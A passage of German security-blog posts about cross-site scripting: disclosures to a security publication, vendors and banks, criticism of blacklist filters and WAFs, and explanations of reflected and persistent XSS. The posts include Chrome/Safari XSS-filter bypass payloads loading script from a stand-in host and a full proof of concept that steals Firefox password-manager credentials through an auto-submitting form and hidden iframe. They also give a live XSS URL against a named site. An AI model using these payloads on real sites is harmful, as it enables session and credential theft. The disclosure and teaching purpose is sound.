Ich werde den Fehler natürlich umgehend an unser Technikteam in der *** Zentrale weiterleiten, aber ob und wann dort die Ressourcen zugeteilt werden um diesen Fehler zu beheben…

Den, den ich da angeschrieben habe, war nicht das Hotel um die Ecke oder ein Shop mit fünf Artikeln im System, es ist eine sehr bekannte Publikation die sich mit dem Thema IT-Sicherheit beschäftigt, also musste ich einfach noch einmal Antworten:

ich muss gestehen, Sie haben mich mit Ihrer Antwort verblüfft.

Bei einer Publikation die sich primär dem Thema IT-Sicherheit zuwendet, hatte ich nicht erwartet, dass es bei der Fehlerbehebung um das “ob” geht. :O)

Die Lücke ist nicht schwer zu finden, das heißt: Jedes Scriptkiddie kann sich als großer Hacker aufspielen, um an der Reputation von *** zu kratzen.

Der Cookie-Flag HttpOnly ist nicht gesetzt, weshalb der Session-Cookie per XSS ausgelesen werden kann. Die Session-ID ist nicht an die IP-Adresse des Benutzers gebunden. Das Fehlen dieser beiden Sicherungen, macht es einem Angreifer sehr leicht, per XSS in einen Benutzeraccount einzubrechen.

Das Session-Handling ist komplett fehlerhaft. Beim Übergang von http zu https wird die Session nicht gewechselt, was das Login per https (wegen der fehlenden IP-Bindung) ad absurdum führt. Es fehlt natürlich auch der Cookie-Flag Secure.

Die gleiche XSS-Lücke findet sich auch in den folgenden Seiten:
***.de
***.de
***.de
***.de
***.de

Am nächsten Tag war die XSS-Lücke dann schon gefixt, also hat jemand sehr schnell die “Ressourcen zugeteilt”. Aber die anderen Probleme bestehen weiterhin und es ist so gut wie sicher, dass es in der Seite irgendwo weitere XSS-Lücken gibt.

Das Login, wie es sein sollte per https:

Das Editieren im Benutzeraccount sollte aber auf gar keinen Fall unverschlüsselt erfolgen. Hier der Request bei der Änderung des Passwortes:

Das “Technikteam” weiß nicht so recht warum https verwendet wird. Sie haben wohl mal gehört dass man dieses komische SSL für Logins benutzen sollte, aber warum das gut sein soll? “Keine Ahnung, schadet ja nicht.” Anders ist es nicht zu erklären, warum es nur beim Login eine Verschlüsselung gibt.

Warum wird denn die Kommunikation zwischen Server und Client verschlüsselt?

Ohne Verschlüsselung sind Web-Daten für jeden, der Zugang zum entsprechenden Netz hat, als Klartext lesbar. Mit der zunehmenden Verbreitung von Funkverbindungen, die etwa an WLAN-Hotspots häufig unverschlüsselt ablaufen, nimmt die Bedeutung von HTTPS zu, da hiermit die Inhalte unabhängig vom Netz verschlüsselt werden.

Besser könnte ich es nicht in Worte fassen, deshalb als Zitat aus Wikipedia.
Quelle: http://de.wikipedia.org/wiki/Https

Die Cookie-Flags HttpOnly und Secure werden für den entscheidenden Session-Cookie nicht gesetzt:

Der gesetzte HttpOnly-Flag würde dafür sorgen, dass der Inhalt der Cookies nicht per JavaScript (XSS) ausgelesen werden kann. Liebes “Technikteam”, dies macht ein Angreifer natürlich NICHT per alert(document.cookie), sondern so, dass das Opfer dies nicht bemerkt.

Der gesetzte Secure-Flag würde dafür sorgen, dass Cookies nur per https übertragen werden. Auch ein Man-in-the-middle könnte die Cookies nicht im Klartext lesen, womit diese unbrauchbar wären.

Das was das “Technikteam” da gebastelt hat, ist so unsagbar schlecht, dass in der “Zentrale” sofort einige Stellen neu besetzt werden müssten.


Wie man nur mit einer Session-ID bewaffnet in ein Benutzerkonto einbricht zeigt dies kurze Video:

Das Formular nimmt die Session-ID auf, generiert eine URL inkl. Cross-Site Scripting, welche an die anfällige Website geschickt wird. Die Injektion setzt einfach den Cookie für die Session-ID und leitet dann zur Profilseite des Opfers weiter, sehr einfach, deshalb sieht man in dem Video auch nicht viel. :O)

Die XSS-Lücke in Bebo ist nicht neu, die Verantwortlichen kümmert’s nur nicht, wohl weil es Benutzer sind, die nicht direkt Geld bezahlen.
http://xssed.com/mirror/67289/

Date submitted: 17/06/2010
Date published: 18/06/2010

Update: 01.02.2012 – 18:13 Uhr

Der Session-Cookie hat einen HttpOnly-Flag spendiert bekommen:



Noch ein Link passend zum Thema XSS und HttpOnly:
“Apache httpOnly Cookie Disclosure” (fd.the-wildcat.de)


Update: 01.02.2012 – 22:00 Uhr

Wie ich schon erwartete, habe ich eine weitere XSS-Lücke gefunden, aber Dank des HttpOnly-Flags kann nun der Session-Cookie nicht ausgelesen werden.
(Weil es kein Apache ist.)


Update: 07.02.2012 – 10:58 Uhr

Die letzte XSS-Lücke wurde mittlerweile geschlossen, aber es gibt sicher weitere Lücken.

Der Secure-Flag für den Cookie der Session-ID wird noch immer nicht gesetzt und auch das Editieren innerhalb des Benutzerkontos erfolgt noch immer unverschlüsselt.

Hiermit will ich es mal damit bewenden lassen, schließlich kann ich den Verlag nicht zwingen mehr für die Sicherheit seiner Besucher zu tun.

In den letzten Wochen musste ich aus der Liste der anfälligen Browser auch den Chrome entfernen, womit nur noch Firefox und Opera von mir als Testbrowser gemeldet wurden. Der Safari ist schon länger aus meiner Liste rausgeflogen, da ein XSS-Schutz dort seit langer Zeit implementiert ist. Injiziertes HTML kann man auch im Safari und Chrome rendern lassen, JavaScript hingegen nicht.

Ich bin ja eher skeptisch wenn ein Filter das eine blockiert und das anderer durchlässt, weshalb ich selber etwas Browser-Forschung betrieben habe, da der Chrome, im Gegensatz zum Safari, eine weite Verbreitung gefunden hat.


Erst letzte Woche wies ich in einem Kommentar darauf hin, dass auch der Safari einen Schutz gegen Cross-Site Scripting enthält, was auch zur Ergänzung des Artikels führte:
“Facebook: IE9 als einziger gegen XSS Angriffe gerüstet” (blogs.technet.com)

Und nun.. Sorry! Meine Forschung war erfolgreich, bzw. aus Sicht von Google und Apple eher unerfreulich. Nun muss der Artikel schon wieder geändert werden und der Internet Explorer ist noch immer ungeschlagen — was den Schutz gegen Cross-Site Scripting angeht. :O)


Injiziert man

• <script src=http://hack.er/s></script>
  oder wenn spitze Klammern nicht zulässig sind
• " onmouseover=alert(document.cookie) "

dann wird dies im Safari und im Chrome nicht ausgeführt.

Werden die Injektionen wie folgt abgeändert, wird der Filter von Safari und Chrome umgangen und der Schadcode wird ausgeführt:

• <script src=http://hack.er/s//&lt;</script>
• " onmouseover=alert(document.cookie)//"

Wieder ein Beispiel für: Blacklisting ist unsicher!

Der Internet Explorer ist wirklich recht sicher was XSS angeht, denn der Filter schmeißt alles raus was injiziert wird. Ob der IE auch mal etwas fälschlich als einen Angriff wertet, kann ich nicht sagen, da es für OS-X keinen Browser von Microsoft gibt und ich Windows nur für bestimmte Tests heranziehe, um zu sehen ob meine Funde auch unter anderen Betriebssystemen funktionieren.


Update: 28.05.2011 – 18:36 Uhr

Eine Leerzeile im Quellcode kann darüber entscheiden ob sich eine XSS-Lücke auftut oder nicht.

(…)
Angriffe von aussen soll die Integrierte Intrusion Prevention (IPS) abwehren. Zum Beispiel Netzwerkbedrohungen wie Spyware, SQL Injections, Cross-Site Scripting und Buffer Overflow.
(…)
Die XTM 2050 ist zu einem Preis ab 65’994 Franken erhältlich und kann ab Juni bei autorisierten Watchguard-Partnern bezogen werden.

Dieser JavaScript-Alert (Erklärung von mir dazu: “XSS: Passwort-Manager im Firefox“)

zeigt, dass nicht einmal Watchguard selber in der Lage ist seine Firewall korrekt zu konfigurieren. Wie soll es dann ein Kunde können?

Ich weiß natürlich nicht ob sie selber die 52.109,41 Euro teure Schleuder einsetzen. JavaScript via <script src=http://... kann injiziert werden, was eher nach dem kompletten Fehlen einer Firewall aussieht. Die XSS-Lücke steckt nicht im Login selber, sondern “nur” in einer Unterseite, welche aber per https:// erreichbar ist, weshalb das Auslesen der Zugangsdaten so reibungslos funktioniert.

Das Beispiel ist online, d.h. es kann auch einfach nur zur Demonstration benutzt werden. Es speichert keine Daten, weder vom Login noch von der Suche.

Das Opfer

Das Login

Dies Login dient nur dazu, die Zugangsdaten im Passwort-Manager des Firefox zu speichern.

http://pm.mc0.de/login.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<title>Login: XSS Demo Password Manager</title>
</head>
<body>
 
<h2>Login: XSS Demo Password Manager</h2>
 
<form method="post" action="login.php">
	Username: <input type="text" name="u" /><br />
	Password: <input type="password" name="p" /><br />
	<input type="submit" value="Login" />
</form>
 
</body>
</html>

Die Suche

Die XSS-Lücke für den Angreifer habe ich in eine fiktive Suchfunktion eingebaut.

http://pm.mc0.de/suche.php

<?
if (isset($_POST['s'])){
	$s = $_POST['s'];
} 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<title>Suche: XSS Demo Password Manager</title>
</head>
<body>
 
<h2>Suche: XSS Demo Password Manager</h2>
 
<form method="post" action="suche.php">
	<input type="text" value="<?=$s?>" name="s" size="40" />
	<input type="submit" value="Suchen" />
</form>
 
</body>
</html>

Die Eingabe der Suchanfrage wird in der POST-Variable s gespeichert und ungefiltert (die XSS-Lücke) wieder in dem Eingabefeld der Suche ausgegeben. Dies (auch die XSS-Lücke <g>) findet man sehr häufig in Suchfunktionen, damit der Suchende seine Suche verfeinern kann ohne immer wieder alles neu eingeben zu müssen.

Der Angreifer

Eine XSS-Lücke wurde gefunden

Diese Lücke kann ausgenutzt werden um die Zugangsdaten von registrierten Benutzern der Website auszuspähen. Hierzu braucht es aber keine Lücke auf der Seite mit dem Login selber. Der Firefox vergleicht einfach nur das Protokoll (http oder https) und die Domain. Findet er für eine Domain mit dem entsprechenden Protokoll einen Eintrag in seinem Passwort-Manager so füllt er die Eingabefelder automatisch aus.

1. Beispiel:
   http://www.domain.tld/login.cgi
http://www.domain.tld/verzeichnis/xss-luecke.cgi
   Hier besteht die Möglichkeit die Zugangsdaten aus dem Passwort-Manager auszulesen.
2. Beispiel:
   https://www.domain.tld/login.cgi
http://www.domain.tld/verzeichnis/xss-luecke.cgi
   Wäre das Login zwingend nur per https möglich, so braucht der Angreifer auch eine XSS-Lücke in einem Script welches verschlüsselt übertragen wird.
3. Beispiel:
   http://ww2.domain.tld/login.cgi
http://www.domain.tld/verzeichnis/xss-luecke.cgi
   Auch ein Login unter einer anderen Subdomain wäre mit der gefundenen XSS-Lücke nicht angreifbar.

Das injizierte JavaScript

http://pm.18c.de/ff.js

Mit etwas JavaScript kann der Firefox dazu gebracht werden die Zugangsdaten offen zu legen:

function pass(){
	u = document.getElementById("u").value;
	p = document.getElementById("p").value;
	alert('Benutzer: ' + u + '\nPasswort: ' + p);
}
document.write('<form><input id=u type=text><input id=p type=password><\/form>');
setTimeout('pass()', 200);

Dieses Script erzeugt ein Formular in welches der Firefox automatisch die Zugangsdaten einträgt, die Daten werden ausgelesen und per Alert angezeigt.

Ein Test

Das Formular zur Injektion

http://pm.18c.de/xss.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<title></title>
</head>
 
<body onload="document.xss.submit()">
 
<form action="http://pm.mc0.de/suche.php" method="post" name="xss">
<input type="hidden" name="s" value="&#x22;><script src=http://pm.18c.de/ff.js></script>" />
</form>
 
</body>
</html>

Dies Formular ist nötig, da die Daten per POST-Request übertragen werden.

Das unsichtbare Iframe

http://pm.18c.de/iframe.php

Ein echter Angreifer würde die Zugangsdaten natürlich nicht per Alert seinem Opfer anzeigen, sondern in einer Datei speichern oder sich per E-Mail zusenden lassen. Für ein PoC ist dies aber durchaus akzeptabel und hoffentlich eindringlich genug.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<title>iframe: XSS Demo Password Manager</title>
</head>
<body>
 
<h2>iframe: XSS Demo Password Manager</h2>
 
<iframe src="http://pm.18c.de/xss.php" style="display:none"></iframe>
 
</body>
</html>

Da der Besucher einer Website nichts gegen Sicherheitslücken in dieser tun kann, bleiben ihm nur die folgende Möglichkeiten, dem Problem zu begegnen:

• Den Passwort-Manager im Firefox deaktivieren.
• Ein kostenloses Add-on wie Secure Login (addons.mozilla.org) nutzen, welches erst nach einem Klick auf ein Icon das Login-Formular ausfüllt. (Wie im Opera.)
• Ein Programm zur Verwaltung von Zugangsdaten wäre 1Passwort (agilewebsolutions.com), welches es für OS-X und Windows gibt. Ist die Browser-Erweiterung aktiviert, so wird auch hier, erst nach einem Klick auf ein Icon das Login-Formular ausgefüllt. Nutzt man verschiedene Betriebssysteme und auch mobile Geräte, so ist dies eine gute Wahl. Allerdings ist diese Lösung nicht kostenlos.

Es gibt auch die Möglichkeit mehr als einen (z.B. mit Fakedaten) Account für eine Website im Passwort-Manager anzulegen, damit ein Formular nicht automatisch ausgefüllt wird. Ist der echte Benutzername dem Angreifer bekannt, so kann er diesen in dem JavaScript vorgeben und bekommt das dazu passende Passwort. Da Angriffe zum Teil sehr zielgerichtet auf bestimmte Personen erfolgen, ist diese Möglichkeit nicht zu empfehlen.


Ich hoffe, dass dieses Beispiel veranschaulicht, wie gefährlich Cross-Site Scripting sein kann — denn nach wie vor wird XSS unterschätzt.

Im Auftrag von Barracuda Networks hat das Ponemon Institute zu Beginn dieses Jahres knapp 640 IT- und IT-Security-Fachleute zu ihrer Sicht auf Web Application Security befragt.

• 69 Prozent verlassen sich auf Netzwerk Firewalls und nicht auf Web Application Firewalls.
• 72 Prozent testen weniger als zehn Prozent ihrer Web-Applikationen.
• 73 Prozent wurden in den letzten 24 Monaten erfolgreich angegriffen.

Da sieht Paul Judge, Chief Research Officer von Barracuda Networks, natürlich noch einen großen Markt für WAFs.

Barracuda… Barracuda… da war doch was: “Datendiebstahl bei Netzwerk-Sicherheitsfirma” (heise.de) Computerwelt hatte über diesen Einbruch nicht berichtet, der Lohn dafür ist wohl die nicht gekennzeichnete Werbeanzeige exklusive Information. ;O)

An den Lücken in den Websites von Barracuda hat sich nach meinem Blogeintrag (Blacklisting ist noch immer unsicher) nichts wesentliches geändert, also kann es nicht so weit her sein, mit der Qualität der Barracuda-WAFs.


Web Application Firewall (de.wikipedia.org)

Eine Web Application Firewall (WAF) ist eine Technologie, die Web-Anwendungen vor Angriffen über das HTTP (Hypertext Transfer Protocol) schützen soll. (…)

Gegenüber klassischen Firewalls und Intrusion Detection Systemen (IDS) untersucht eine WAF die Kommunikation auf der Anwendungsebene. Dazu ist normalerweise keine Änderung an der zu schützenden Web-Anwendung nötig.

Ist an der Web-Anwendung keine Änderung erforderlich, so wird daran auch nichts geändert, sondern nur der Filter der WAF justiert, und genau da ist das Problem. Es wird also nicht an dem eigentlichen Problem gearbeitet, sondern nur an den Symptomen rumgedoktert und — was noch viel schlimmer ist, die verantwortlichen Programmierer sorgen auch bei Änderungen oder der Neuentwicklung einer Anwendung, nicht dafür, dass diese sicher ist, warum auch?, die WAF hält ja alles ab. :O|

Bei meinen Checks habe ich es immer wieder mit Kunden zutun die genau dieses Rumdoktern an Lücken zeigen. Ein Extrembeispiel ist ein Dienstleister der eine IBE (internet booking engine) anbietet. Ich teste auch Reiseanbieter und dabei eben auch die verwendete IBE. Dem speziellen Dienstleister muss ich die Gefährlichkeit von verschiedenen HTML-Tags oder JavaScript-Funktionen erst drastisch vorführen, bevor er sie in die Liste der zu entfernenden Einträge aufnimmt. Ich finde eine Lücke und die WAF bekommt einen Listeneintrag mehr, anstatt dass der Dienstleister generell alles was nach HTML oder JavaScript aussieht rausfiltert. Als Begründung für sein Verhalten gibt der Dienstleister an, dass er seinen Kunden auch HTML in den Beschreibungstexten erlaubt, nur, die Kunden benutzen nur <b>, <br> und <hr>, also könnte die WAF alles außer diese Tags verwerfen. Die Kunden benutzen auch für die Fettschrift wirklich nur den nackten HTML-Tag ohne CSS. Wird HTML oder JavaScript um einen neuen Tag bzw. eine neue Funktion erweitert, so stehen alle Kunden, die diese spezielle IBE benutzen, im Regen, also dem Angreifer ungeschützt ausgeliefert.


Der Einsatz einer Web Application Firewall verführt geradezu den Programmierer zur schlampigen Arbeit, da er sich auf einen zweifelhaften Schutz verlässt. Um die Analyse von Logfiles und die Durchführung von Penntests kommt man auch mit einer WAF nicht herum, auch in Anbetracht der Tatsache, dass auch fremder Code (Bibliotheken, Erweiterungen, etc.) in einer Applikation stecken kann, der nicht einem Codereview unterzogen wurde.

Eine Web Application Firewall ist kein Allheilmittel, sondern nur ein Baustein der Web Application Security.

(…) US-Sicherheitsfirma Barracuda Networks (…) ist nach eigenen Angaben “der weltweite Marktführer für E-Mail- und Web-Sicherheit”.

Wenn so Marktführer arbeiten… OMG!

Das Unternehmen berichtet, dass der Webauftritt zwar von der firmeneigenen Web Application Firewall geschützt werde, diese jedoch für Wartungsarbeiten am Abend vor dem Angriff heruntergefahren wurde.

Ich halte diese Aussage für eine Schutzbehauptung.

Offensichtlich wird per Blacklisting versucht Angriffe abzuwehren. In einer Seite wird ein <img src=... rausgefiltert und blockiert, aber ein <video poster=... passiert unbehelligt den Filter und wird im Browser gerendert. Der Filter in der Fischleinseite ist aber nicht global für alle Seiten gleich eingestellt. In einer anderen Seite wird auch das <img src=… nicht gefiltert.

Da hier HTML-Tags vergessen wurden und zum Teil auch JavaScript injiziert werden kann, muss man davon ausgehen, dass auch die Filterung gegen SQL-Injection fehlerhaft ist. Der Angreifer bzw. seine Software hat einfach nur alle ihm bekannten Pattern versucht und dabei eine oder mehrere Lücken gefunden. Die Krux beim Blacklisting ist eben, man muss ständig nachjustieren, weil man etwas vergessen hat oder weil es neue Tags (HTML5) gibt, die die Browser akzeptieren.


Hat man beim Blacklisting etwas vergessen,
so kann sich eine schwerwiegende Sicherheitslücke auftun.

Hat man beim Whitelisting etwas vergessen,
so wird maximal eine Seite nicht korrekt angezeigt.

Womit mag man lieber umgehen?




“kabeleins.de & sat1.de: Sicherheitslücken mit Hilfe von gulli.com geschlossen” (gulli.com)
Bevor man verkündet dass eine Sicherheitslücke geschlossen wurde, sollte man sich evtl. noch einmal rückversichern…

Beispiel 1 | Beispiel 2

Auch hier wird Blacklisting betrieben. Etwas Verschleierung via String.fromCharCode bringt den Filter dazu, alles ungefiltert durch zu lassen.

Die erste Injektion war mein übliches ">xss:


Dies sah zunächst nach einer leichten Aufgabe aus, einfach nur den Kommentar vorzeitig abbrechen:


Tja, so wird das nichts. :O)


Nach einigen Versuchen mit längeren Injektionen fiel mir etwas in den Schoß:


Ups!? Was ist das?!

Die eigentliche Lücke steckt nicht, wie Anfangs vermutet, in den unnötigen Kommentaren:


Besteht die Injektion aus weniger als 200 Zeichen, so wird korrekt gefiltert, d.h. der Bug steckt in der Kontrollfunktion für die E-Mail-Adresse bzw. Seriennummer.


Wie man solche Lücken findet?

Wenn ich mir eine Seite anschaue, dann ist auch immer viel Intuition dabei, hier ein Zeilenumbruch zu viel, dort springt eine Grafik, Kommentare die Teile von Injektionen ausgeben oder die wechselnde Verwendung von " oder ´ oder das gänzliche Fehlen dieser in HTML-Tags. Der Gesamteindruck zeigt mir meist wo es sich lohnt weiter zu bohren und wo eher nicht. Zum Teil ist es auch nur ein Bauchgefühl, welches ich gar nicht so konkret in Worte fassen kann, da versuche ich dann mit entsprechenden Google-Suchanfragen diesem Gefühl nachzugehen. Von daher sind meine Penntests nie gleich, auch wenn eine Seite der anderen auf den ersten Blick gleichen sollte. Schon der Unterschied der Version eines CMS oder Webservers kann den Ausschlag des Pendels in die eine oder andere Richtung bedeuten.

Finde ich beispielsweise verschiedene Arten von Encoding von Sonderzeichen

• &quote;
• "
• %22
• \"

in einer einzelnen Seite, so ist ersichtlich, dass es keine zentrale Filterung gibt. Wo es keinen zentralen Filter gibt, dort findet man i.d.R. viele Köche, die ihr eigenes Filtersüppchen kochen und irgendwer vergisst immer etwas. Der eine filtert alles sehr streng, scheint sich wirklich gut überlegt zu haben was gefiltert wird und was nicht, aber der andere kennt nur <img src=... aber <video poster=... ist noch Neuland.


Wie man sieht, mir wird nicht langweilig. Ich finde immer wieder neue Angriffspunkte, um irgendwo, irgendeine Lücke zu finden. Es ist eine einfache Gleichung: Um so komplexer ein System ist, um so mehr Fehler sind möglich.

Ich glaube das eigentliche Grundproblem besteht in dem weit verbreiteten Unverständnis über die Abläufe die am Ende zu dem gewünschten oder auch ungewünschtem Ergebnis führt.

Meinen ersten Computer, den VC 20, öffnete ich bereits am zweiten Tag, um zu sehen was darin werkelte, und warum, verflucht noch eins, meine ersten kleinen Programme nach dem Ausschalten weg waren. Ernüchtert musste ich erst einmal feststellen, dass ich nichts verstand. Der Verkäufer hätte mir ja auch sagen können das ich noch eine Datasette brauchte und weder das RAM noch das ROM für meine Programme als Speicher-nach-dem-Ausschalten tauglich waren. Schritt für Schritt, lernte ich dazu. ’84 dann der C64 aber diesmal gleich mit Diskettenlaufwerk 1541, denn die Datasette war einfach nur… Und nicht zu vergessen der Drucker, natürlich auch von Commodore: MPS 801

Bei jedem neuen Gerät versuchte ich auszuloten was man damit anstellen konnte. Zum einen, das was der Hersteller meinte wozu es gedacht war, aber auch das, was der Hersteller bewusst verschwieg oder an was er einfach nicht gedacht hatte. Ich war schon ein Hacker bevor ich diesen Begriff kannte :O)

Wenn ich hörte das jemand auch einen Computer hat, habe ich mich mit ihm in Verbindung gesetzt, um immer enttäuscht feststellen zu müssen, dass nur ein Schachcomputer gemeint war. Internet gab es ’83 noch nicht für Normalsterbliche, nur die Mailboxen (nein nix Handy <g>) waren mein Draht in die Welt, und dies mit dem Epson CX-21, einem Akustikkoppler.

(Alle Links führen zu de.wikipedia.org)

Diese Grundneugier treibt mich noch heute an; zu verstehen warum etwas funktioniert oder auch nicht, bzw. nicht so wie erwartet.


Der Normaluser benutzt sein technisches Spielzeug i.d.R. ohne zu hinterfragen, warum und wie es funktioniert, leider scheint diese Einstellung auch bei vielen Programmierern vorzuherrschen.

Wie kann man einen Filter auf
<script>alert(1)</script> abrichten, aber
<img src=x onerror=alert(1)> unbeachtet durchlassen?

Das nach 200 Zeichen der Filter auf der IT-Security-Website einfach nicht benutzt wird, gehört wohl in eine ähnliche Kategorie.

Wirklich bemerkenswert und ärgerlich ist diese Lücke, weil sich der Otto Normal auf die Kompetenz der IT-Security-Firma verlässt. Wie soll Otto beurteilen was sicher und was unsicher ist, wenn nicht einmal die Firmen die sich angeblich mit IT-Security auskennen grundlegende Sicherheitsregeln beachten? Er kann es nicht. Am Ende sagt Otto “nein” zu diesem ganzen Computerzeug, weil er einfach verunsichert ist und dies zu recht.

Naja, ich will nicht klagen, so werde ich niemals arbeitslos. Den komischen Beigeschmack den ich manchmal bei meinem Job habe (immerhin verdiene ich mein Geld mit den Dummheiten anderer Leute), versuche ich mit den Hinweisen, wie an diese IT-Security-Firma, zu bekämpfen und einfach nur für Spaß und Blog, muss ja auch sein. :O)

Aus dem PDF Seite 12:

Cross-Site-Scripting

Ein weiteres Problem ist das „Cross-Site-Scripting“: Dabei nimmt eine Webanwendung Daten von einem Nutzer an und sendet sie ungeprüft an einen anderen Browser weiter. So kann ein Angreifer zum Beispiel Skripte auf dem Rechner seines Opfers ausführen.

<sezier>

Dabei nimmt eine Webanwendung Daten von einem Nutzer an

Richtig…

und sendet sie ungeprüft

richtig…

an einen anderen Browser weiter.

nicht so ganz richtig.
</sezier>

Reflexives Cross-Site Scripting

Bei reflexivem XSS sendet das Opfer unbemerkt selber den Schadcode an den Server, der von diesem zurückgesendet und vom Browser des Opfers interpretiert wird.

Der Angreifer verteilt eine mit unerwünschtem Code erweiterte URL, via Kurz-URL (bit.ly, tinyurl.com, goo.gl, etc.) über Twitter, Skype, Facebook, Blogs, Kommentare jeglicher Art oder meinetwegen auch per E-Mail, an seine Opfer. Das Opfer klickt den Link zur Kurz-URL an und sendet damit den unerwünschten Code selber an den Server. Bei dem Code handelt es sich meist um JavaScript, HTML und/oder CSS. Der Server verarbeitet diesen Code aber nicht, sondern sendet ihn ungefiltert (die XSS-Lücke) an den Client, den Browser des Opfers, zurück und dieser interpretiert dies.

Szenario:
Ein Angreifer findet eine XSS-Lücke in einer Website, beispielsweise in der der Harvard University:
http://news.harvard.edu/gazette/
?s=</script><script>alert('Dumpfbacken!')</script>

bit.ly macht daraus: http://bit.ly/gU9q96

Der Angreifer verteilt nur diese Kurz-URL.

Da die meisten Opfer arglos sind, klicken sie den Link zur Kurz-URL an und schon sind sie in die Falle getappt und… sehen in diesem Fall nur eine JavaScript-Alert-Meldung. Bei einem echten böswilligen Angriff bemerkt das Opfer gar nicht, dass im Hintergrund, für ihn nicht sichtbar, etwas geschehen ist, zum Beispiel das Auslesen des Session-Cookie, mit deren Hilfe sich der Angreifer in den Account des Opfers einschleichen kann.

Ein Angreifer

1. findet eine XSS-Lücke,
2. nutzt Kurz-URL-Dienste zum verschleiern der manipulierten URL und
3. verteilt diese Kurz-URL.

Das Opfer

1. klickt auf den Link zur Kurz-URL. Der Aufruf mit der manipulierten URL erfolgt vom Browser des Opfers.
2. Der Server sendet den Schadcode zurück an den Absender, den Browser des Opfers.
3. Der zurückgesendete Code führt dann im Browser des Opfers, den meist destruktiven Code des Angreifers aus, der aber vom Opfer selber an den Server gesendet wurde.

<fund_am_rande>
Hängt man an die bit.ly-Kurz-URL ein Pluszeichens (+), so kann man neben der Statistik (wie oft die URL aufgerufen wurde, woher der Aufruf kam) auch den “Long Link” sehen, damit man weiß wohin man weitergeleitet wird.

Hänge ich nun an die obige bit.ly-URL das Pluszeichen ran, sehe ich auch den JavaScript-Alert, was mal wieder zeigt: Viele, sehr viele Websites sind Anfällig für Cross-Site Scripting.
</fund_am_rande>

Persistentes Cross-Site Scripting

Auch hier findet ein Angreifer eine XSS-Lücke in einer Website, aber hier wird der Schadcode auf dem Server gespeichert. Foren, Gästebücher, Kommentare oder auch die Profilseiten eines registrierten Benutzers der Website können entsprechende Lücken aufweisen, um ausführbaren Code zu speichern. Das Opfer wird in diesem Fall auf eine regulär erscheinende URL verwiesen, der man nicht ansehen kann, dass dahinter ein Angriff verborgen ist.

Für diesen Fall könnte man die Aussage des BSI zum Teil gelten lassen — wenn man gnädig ist. ;O)


Am häufigsten trifft man auf reflexives Cross-Site Scripting, wahrscheinlich weil Entwickler noch immer meinen, was der Server nicht speichert, das kann auch nicht gefährlich sein.


Weiter von Seite 12 des PDFs:

Über das „Cross-Site-Scripting“ werden nicht nur die Anbieter, sondern auch die Benutzer der Webseite angegriffen, was einen hohen Imageverlust für den Anbieter bedeutet.

Das Ziel von XSS-Angriffen sind meist die Besucher einer Website und nicht der Anbieter selber. Ist z.B. mal wieder eine Lücke in Twitter bekannt, so ist beispielsweise das Ziel der Angriffe, unbemerkt einen Wurm von anderen Benutzern weiterverbreiten zu lassen. Hierbei soll die Reputation der Benutzer ausgenutzt werden. Der Betreiber, also Twitter selber, ist hierbei nicht das Ziel des Angriffs. Der Wurm kann Code enthalten um Zugangsdaten zu stehlen oder um einfach nur einen Link zu einem Shop mit Blauen-Pillen zu verbreiten.


Mir geht es hier nicht darum, das BSI vorzuführen, sondern darum, dass sich Missverständnisse erst gar nicht weiter verbreiten. Es kommt eben manchmal doch auf die Korinthe an die gekackt werden muss.

Offenbar haben die Banken den Schuss immer noch nicht gehört und schludern weiter bei der Sicherheit ihrer Webauftritte [(heise.de)]. Auch beim zweiten Sicherheitstest der anfälligen Banken fanden sich bei jeder einzelnen weitere Lücken. Der Leidensdruck ist für die Banken jedoch gering; letzlich gefährden etwa die weit verbreiteten Cross Site Scripting Lücken nicht die eigene Sicherheit sondern die der Kunden.

Auf dieser Seite geht es offensichtlich um “Sicherheit im Internet”:

Auch hier geht es wieder um die Sicherheit für die der Kunde sorgen soll:

Lücken zu Cross-Site Scripting findet man in jeder Bank-Website, wenn man keine Lücke gefunden hat, dann hat man nur nicht akribisch genug gesucht. ;O)


Erst haben die Banken die EC-Karten eingeführt, um die Kosten für Personal zu verringern. Nach der Einführung des Online-Bankings sind die Personalkosten pro Kunde auf historische Tiefststände gefallen, wodurch Kapazitäten für “kreative” Geschäfte frei wurden — deren Kosten der Steuerzahler begleichen musste.

Nach einem Jahrzehnt der Mahnung, dass EC-Karten kopiert werden können, wird in den nächsten Jahren hoffentlich endlich die Karte ohne Magnetstreifen kommen: “Schutz vor Skimming: BKA fordert magnetstreifenlose EC-Karten” (heise.de)


Es wird wohl eine weitere Dekade dauern, bis die Banken erkennen, dass die Verantwortlichkeit für die Sicherheit im Online-Banking nicht nur beim Kunden abgeladen werden kann.

Link dazu: http://bit.ly/dSjYlF Einfach mal auf “Home” klicken…


Update: 22:00 Uhr

Nur damit niemand meint ich würde hier Volks- und Raiffeisenbank-Bashing betreiben…

Anlässlich des 27C3 hat jemand Piwik auf seinem Server installiert und zum Hacken zur Verfügung gestellt:

Wer lust hat mit zu suchen ob/wie man das defacen (ob mit oder ohne login) kann ist herzlich willkommen.

http://events.ccc.de/congress/2010/wiki/Hacked

Nach ein paar Tagen fand auch jemand eine XSS-Lücke, die allerdings nur unter bestimmten Voraussetzungen ausgenutzt werden kann:

• Das SEO-Widget muss aktiviert sein.
• Der anonymous-Account muss öffentlich zugänglich sein, ansonsten kann nur
• ein eingeloggter Benutzer angegriffen werden.

Nach der Installation von Piwik ist das SEO-Widget zwar aktiviert, aber der Benutzer “anonymous” ist deaktiviert. D.h. bei der üblichen und weit verbreiteten Konfiguration kann die Lücke nicht ausgenutzt werden.

(Ein paar Screenshots zur Erklärung.)


